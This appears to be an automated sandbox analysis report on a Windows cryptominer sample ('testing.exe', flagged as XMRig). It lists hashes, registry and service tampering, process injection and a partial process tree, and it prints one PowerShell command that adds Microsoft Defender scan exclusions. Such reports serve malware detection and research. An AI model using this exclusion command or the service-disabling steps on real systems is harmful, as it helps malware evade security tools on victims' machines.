Resubmissions
05-04-2023 16:34
230405-t3e6saaa8v 1031-03-2023 15:09
230331-sjvxfscc5v 1031-03-2023 13:39
230331-qx416sba8z 1030-03-2023 21:18
230330-z5tpvafg2x 1030-03-2023 21:03
230330-zv6awsff8s 1030-03-2023 18:59
230330-xncnwsfd2y 1030-03-2023 17:02
230330-vj468sde36 1030-03-2023 13:33
230330-qtnvsach28 1030-03-2023 06:37
230330-hdjl5abc45 1029-03-2023 21:31
230329-1c2enaaa35 10Analysis
-
max time kernel
1841s -
max time network
1855s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
31-03-2023 15:09
Static task
static1
Behavioral task
behavioral1
Sample
testing.exe
Resource
win7-20230220-en
General
-
Target
testing.exe
-
Size
2.1MB
-
MD5
a12bc9557ad889a49e7b4f970c78dda8
-
SHA1
5383b8e6d09d41384281b95f9ccc8e050e7c04fa
-
SHA256
9940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0
-
SHA512
be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee
-
SSDEEP
24576:MHOygNfXDgkB9Y+AVIGckFdi3MUxbw+0AX4xVILyqe7keglf9BHHpRNt05sJNuI6:MuhBSda2+0+4xKLyqewBnfNwsJNO
Malware Config
Signatures
-
Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 13 IoCs
Processes:
testing.exeupdater.execonhost.exedescription pid process target process PID 1736 created 3184 1736 testing.exe Explorer.EXE PID 1736 created 3184 1736 testing.exe Explorer.EXE PID 1736 created 3184 1736 testing.exe Explorer.EXE PID 1736 created 3184 1736 testing.exe Explorer.EXE PID 1736 created 3184 1736 testing.exe Explorer.EXE PID 2140 created 3184 2140 updater.exe Explorer.EXE PID 2140 created 3184 2140 updater.exe Explorer.EXE PID 2140 created 3184 2140 updater.exe Explorer.EXE PID 2140 created 3184 2140 updater.exe Explorer.EXE PID 2140 created 3184 2140 updater.exe Explorer.EXE PID 4472 created 3184 4472 conhost.exe Explorer.EXE PID 2140 created 3184 2140 updater.exe Explorer.EXE PID 2140 created 3184 2140 updater.exe Explorer.EXE -
XMRig Miner payload 21 IoCs
Processes:
resource yara_rule behavioral2/memory/4804-282-0x00007FF630E40000-0x00007FF631634000-memory.dmp xmrig behavioral2/memory/4804-285-0x00007FF630E40000-0x00007FF631634000-memory.dmp xmrig behavioral2/memory/4804-289-0x00007FF630E40000-0x00007FF631634000-memory.dmp xmrig behavioral2/memory/4804-293-0x00007FF630E40000-0x00007FF631634000-memory.dmp xmrig behavioral2/memory/4804-295-0x00007FF630E40000-0x00007FF631634000-memory.dmp xmrig behavioral2/memory/4804-298-0x00007FF630E40000-0x00007FF631634000-memory.dmp xmrig behavioral2/memory/4804-300-0x00007FF630E40000-0x00007FF631634000-memory.dmp xmrig behavioral2/memory/4804-302-0x00007FF630E40000-0x00007FF631634000-memory.dmp xmrig behavioral2/memory/4804-304-0x00007FF630E40000-0x00007FF631634000-memory.dmp xmrig behavioral2/memory/4804-306-0x00007FF630E40000-0x00007FF631634000-memory.dmp xmrig behavioral2/memory/4804-308-0x00007FF630E40000-0x00007FF631634000-memory.dmp xmrig behavioral2/memory/4804-310-0x00007FF630E40000-0x00007FF631634000-memory.dmp xmrig behavioral2/memory/4804-312-0x00007FF630E40000-0x00007FF631634000-memory.dmp xmrig behavioral2/memory/4804-314-0x00007FF630E40000-0x00007FF631634000-memory.dmp xmrig behavioral2/memory/4804-316-0x00007FF630E40000-0x00007FF631634000-memory.dmp xmrig behavioral2/memory/4804-318-0x00007FF630E40000-0x00007FF631634000-memory.dmp xmrig behavioral2/memory/4804-320-0x00007FF630E40000-0x00007FF631634000-memory.dmp xmrig behavioral2/memory/4804-322-0x00007FF630E40000-0x00007FF631634000-memory.dmp xmrig behavioral2/memory/4804-324-0x00007FF630E40000-0x00007FF631634000-memory.dmp xmrig behavioral2/memory/4804-326-0x00007FF630E40000-0x00007FF631634000-memory.dmp xmrig behavioral2/memory/4804-328-0x00007FF630E40000-0x00007FF631634000-memory.dmp xmrig -
Drops file in Drivers directory 2 IoCs
Processes:
testing.exeupdater.exedescription ioc process File created C:\Windows\System32\drivers\etc\hosts testing.exe File created C:\Windows\System32\drivers\etc\hosts updater.exe -
Stops running service(s) 3 TTPs
-
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2140 updater.exe -
Processes:
resource yara_rule behavioral2/memory/4804-282-0x00007FF630E40000-0x00007FF631634000-memory.dmp upx behavioral2/memory/4804-285-0x00007FF630E40000-0x00007FF631634000-memory.dmp upx behavioral2/memory/4804-289-0x00007FF630E40000-0x00007FF631634000-memory.dmp upx behavioral2/memory/4804-293-0x00007FF630E40000-0x00007FF631634000-memory.dmp upx behavioral2/memory/4804-295-0x00007FF630E40000-0x00007FF631634000-memory.dmp upx behavioral2/memory/4804-298-0x00007FF630E40000-0x00007FF631634000-memory.dmp upx behavioral2/memory/4804-300-0x00007FF630E40000-0x00007FF631634000-memory.dmp upx behavioral2/memory/4804-302-0x00007FF630E40000-0x00007FF631634000-memory.dmp upx behavioral2/memory/4804-304-0x00007FF630E40000-0x00007FF631634000-memory.dmp upx behavioral2/memory/4804-306-0x00007FF630E40000-0x00007FF631634000-memory.dmp upx behavioral2/memory/4804-308-0x00007FF630E40000-0x00007FF631634000-memory.dmp upx behavioral2/memory/4804-310-0x00007FF630E40000-0x00007FF631634000-memory.dmp upx behavioral2/memory/4804-312-0x00007FF630E40000-0x00007FF631634000-memory.dmp upx behavioral2/memory/4804-314-0x00007FF630E40000-0x00007FF631634000-memory.dmp upx behavioral2/memory/4804-316-0x00007FF630E40000-0x00007FF631634000-memory.dmp upx behavioral2/memory/4804-318-0x00007FF630E40000-0x00007FF631634000-memory.dmp upx behavioral2/memory/4804-320-0x00007FF630E40000-0x00007FF631634000-memory.dmp upx behavioral2/memory/4804-322-0x00007FF630E40000-0x00007FF631634000-memory.dmp upx behavioral2/memory/4804-324-0x00007FF630E40000-0x00007FF631634000-memory.dmp upx behavioral2/memory/4804-326-0x00007FF630E40000-0x00007FF631634000-memory.dmp upx behavioral2/memory/4804-328-0x00007FF630E40000-0x00007FF631634000-memory.dmp upx -
Drops file in System32 directory 4 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 2140 set thread context of 4472 2140 updater.exe conhost.exe PID 2140 set thread context of 4804 2140 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
testing.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe testing.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 2856 sc.exe 5088 sc.exe 3108 sc.exe 2628 sc.exe 2816 sc.exe 760 sc.exe 1848 sc.exe 2016 sc.exe 1664 sc.exe 4528 sc.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
taskmgr.exedescription ioc process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
testing.exepowershell.exepowershell.exepowershell.exetaskmgr.exeupdater.exepowershell.exepowershell.execonhost.exepid process 1736 testing.exe 1736 testing.exe 448 powershell.exe 448 powershell.exe 1736 testing.exe 1736 testing.exe 1736 testing.exe 1736 testing.exe 1736 testing.exe 1736 testing.exe 4440 powershell.exe 4440 powershell.exe 1736 testing.exe 1736 testing.exe 4816 powershell.exe 4816 powershell.exe 444 taskmgr.exe 444 taskmgr.exe 2140 updater.exe 2140 updater.exe 2936 powershell.exe 2936 powershell.exe 2140 updater.exe 2140 updater.exe 2140 updater.exe 2140 updater.exe 2140 updater.exe 2140 updater.exe 4152 powershell.exe 4152 powershell.exe 444 taskmgr.exe 444 taskmgr.exe 2140 updater.exe 2140 updater.exe 4472 conhost.exe 4472 conhost.exe 2140 updater.exe 2140 updater.exe 444 taskmgr.exe 2140 updater.exe 2140 updater.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
taskmgr.exepid process 444 taskmgr.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 652 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exedescription pid process Token: SeDebugPrivilege 448 powershell.exe Token: SeShutdownPrivilege 2764 powercfg.exe Token: SeCreatePagefilePrivilege 2764 powercfg.exe Token: SeDebugPrivilege 4440 powershell.exe Token: SeShutdownPrivilege 2780 powercfg.exe Token: SeCreatePagefilePrivilege 2780 powercfg.exe Token: SeShutdownPrivilege 2984 powercfg.exe Token: SeCreatePagefilePrivilege 2984 powercfg.exe Token: SeShutdownPrivilege 5068 powercfg.exe Token: SeCreatePagefilePrivilege 5068 powercfg.exe Token: SeIncreaseQuotaPrivilege 4440 powershell.exe Token: SeSecurityPrivilege 4440 powershell.exe Token: SeTakeOwnershipPrivilege 4440 powershell.exe Token: SeLoadDriverPrivilege 4440 powershell.exe Token: SeSystemProfilePrivilege 4440 powershell.exe Token: SeSystemtimePrivilege 4440 powershell.exe Token: SeProfSingleProcessPrivilege 4440 powershell.exe Token: SeIncBasePriorityPrivilege 4440 powershell.exe Token: SeCreatePagefilePrivilege 4440 powershell.exe Token: SeBackupPrivilege 4440 powershell.exe Token: SeRestorePrivilege 4440 powershell.exe Token: SeShutdownPrivilege 4440 powershell.exe Token: SeDebugPrivilege 4440 powershell.exe Token: SeSystemEnvironmentPrivilege 4440 powershell.exe Token: SeRemoteShutdownPrivilege 4440 powershell.exe Token: SeUndockPrivilege 4440 powershell.exe Token: SeManageVolumePrivilege 4440 powershell.exe Token: 33 4440 powershell.exe Token: 34 4440 powershell.exe Token: 35 4440 powershell.exe Token: 36 4440 powershell.exe Token: SeIncreaseQuotaPrivilege 4440 powershell.exe Token: SeSecurityPrivilege 4440 powershell.exe Token: SeTakeOwnershipPrivilege 4440 powershell.exe Token: SeLoadDriverPrivilege 4440 powershell.exe Token: SeSystemProfilePrivilege 4440 powershell.exe Token: SeSystemtimePrivilege 4440 powershell.exe Token: SeProfSingleProcessPrivilege 4440 powershell.exe Token: SeIncBasePriorityPrivilege 4440 powershell.exe Token: SeCreatePagefilePrivilege 4440 powershell.exe Token: SeBackupPrivilege 4440 powershell.exe Token: SeRestorePrivilege 4440 powershell.exe Token: SeShutdownPrivilege 4440 powershell.exe Token: SeDebugPrivilege 4440 powershell.exe Token: SeSystemEnvironmentPrivilege 4440 powershell.exe Token: SeRemoteShutdownPrivilege 4440 powershell.exe Token: SeUndockPrivilege 4440 powershell.exe Token: SeManageVolumePrivilege 4440 powershell.exe Token: 33 4440 powershell.exe Token: 34 4440 powershell.exe Token: 35 4440 powershell.exe Token: 36 4440 powershell.exe Token: SeIncreaseQuotaPrivilege 4440 powershell.exe Token: SeSecurityPrivilege 4440 powershell.exe Token: SeTakeOwnershipPrivilege 4440 powershell.exe Token: SeLoadDriverPrivilege 4440 powershell.exe Token: SeSystemProfilePrivilege 4440 powershell.exe Token: SeSystemtimePrivilege 4440 powershell.exe Token: SeProfSingleProcessPrivilege 4440 powershell.exe Token: SeIncBasePriorityPrivilege 4440 powershell.exe Token: SeCreatePagefilePrivilege 4440 powershell.exe Token: SeBackupPrivilege 4440 powershell.exe Token: SeRestorePrivilege 4440 powershell.exe Token: SeShutdownPrivilege 4440 powershell.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
Processes:
taskmgr.exepid process 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
Processes:
taskmgr.exepid process 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe 444 taskmgr.exe -
Suspicious use of WriteProcessMemory 62 IoCs
Processes:
cmd.execmd.exepowershell.execmd.execmd.exeupdater.execmd.exedescription pid process target process PID 5044 wrote to memory of 1664 5044 cmd.exe sc.exe PID 5044 wrote to memory of 1664 5044 cmd.exe sc.exe PID 1484 wrote to memory of 2764 1484 cmd.exe powercfg.exe PID 1484 wrote to memory of 2764 1484 cmd.exe powercfg.exe PID 5044 wrote to memory of 4528 5044 cmd.exe sc.exe PID 5044 wrote to memory of 4528 5044 cmd.exe sc.exe PID 1484 wrote to memory of 2780 1484 cmd.exe powercfg.exe PID 1484 wrote to memory of 2780 1484 cmd.exe powercfg.exe PID 5044 wrote to memory of 5088 5044 cmd.exe sc.exe PID 5044 wrote to memory of 5088 5044 cmd.exe sc.exe PID 1484 wrote to memory of 2984 1484 cmd.exe powercfg.exe PID 1484 wrote to memory of 2984 1484 cmd.exe powercfg.exe PID 5044 wrote to memory of 2628 5044 cmd.exe sc.exe PID 5044 wrote to memory of 2628 5044 cmd.exe sc.exe PID 5044 wrote to memory of 3108 5044 cmd.exe sc.exe PID 5044 wrote to memory of 3108 5044 cmd.exe sc.exe PID 1484 wrote to memory of 5068 1484 cmd.exe powercfg.exe PID 1484 wrote to memory of 5068 1484 cmd.exe powercfg.exe PID 5044 wrote to memory of 4232 5044 cmd.exe reg.exe PID 5044 wrote to memory of 4232 5044 cmd.exe reg.exe PID 5044 wrote to memory of 4568 5044 cmd.exe reg.exe PID 5044 wrote to memory of 4568 5044 cmd.exe reg.exe PID 5044 wrote to memory of 4524 5044 cmd.exe reg.exe PID 5044 wrote to memory of 4524 5044 cmd.exe reg.exe PID 5044 wrote to memory of 4224 5044 cmd.exe reg.exe PID 5044 wrote to memory of 4224 5044 cmd.exe reg.exe PID 5044 wrote to memory of 3036 5044 cmd.exe reg.exe PID 5044 wrote to memory of 3036 5044 cmd.exe reg.exe PID 4816 wrote to memory of 2256 4816 powershell.exe schtasks.exe PID 4816 wrote to memory of 2256 4816 powershell.exe schtasks.exe PID 4596 wrote to memory of 2816 4596 cmd.exe sc.exe PID 4596 wrote to memory of 2816 4596 cmd.exe sc.exe PID 4596 wrote to memory of 1848 4596 cmd.exe sc.exe PID 4596 wrote to memory of 1848 4596 cmd.exe sc.exe PID 4424 wrote to memory of 3748 4424 cmd.exe powercfg.exe PID 4424 wrote to memory of 3748 4424 cmd.exe powercfg.exe PID 4596 wrote to memory of 760 4596 cmd.exe sc.exe PID 4596 wrote to memory of 760 4596 cmd.exe sc.exe PID 4596 wrote to memory of 2016 4596 cmd.exe sc.exe PID 4596 wrote to memory of 2016 4596 cmd.exe sc.exe PID 4596 wrote to memory of 2856 4596 cmd.exe sc.exe PID 4596 wrote to memory of 2856 4596 cmd.exe sc.exe PID 4424 wrote to memory of 4796 4424 cmd.exe powercfg.exe PID 4424 wrote to memory of 4796 4424 cmd.exe powercfg.exe PID 4596 wrote to memory of 2240 4596 cmd.exe reg.exe PID 4596 wrote to memory of 2240 4596 cmd.exe reg.exe PID 4596 wrote to memory of 3724 4596 cmd.exe reg.exe PID 4596 wrote to memory of 3724 4596 cmd.exe reg.exe PID 4596 wrote to memory of 4924 4596 cmd.exe reg.exe PID 4596 wrote to memory of 4924 4596 cmd.exe reg.exe PID 4424 wrote to memory of 4168 4424 cmd.exe powercfg.exe PID 4424 wrote to memory of 4168 4424 cmd.exe powercfg.exe PID 4596 wrote to memory of 4420 4596 cmd.exe reg.exe PID 4596 wrote to memory of 4420 4596 cmd.exe reg.exe PID 4424 wrote to memory of 2768 4424 cmd.exe powercfg.exe PID 4424 wrote to memory of 2768 4424 cmd.exe powercfg.exe PID 4596 wrote to memory of 3656 4596 cmd.exe reg.exe PID 4596 wrote to memory of 3656 4596 cmd.exe reg.exe PID 2140 wrote to memory of 4472 2140 updater.exe conhost.exe PID 1112 wrote to memory of 4140 1112 cmd.exe WMIC.exe PID 1112 wrote to memory of 4140 1112 cmd.exe WMIC.exe PID 2140 wrote to memory of 4804 2140 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\testing.exe"C:\Users\Admin\AppData\Local\Temp\testing.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
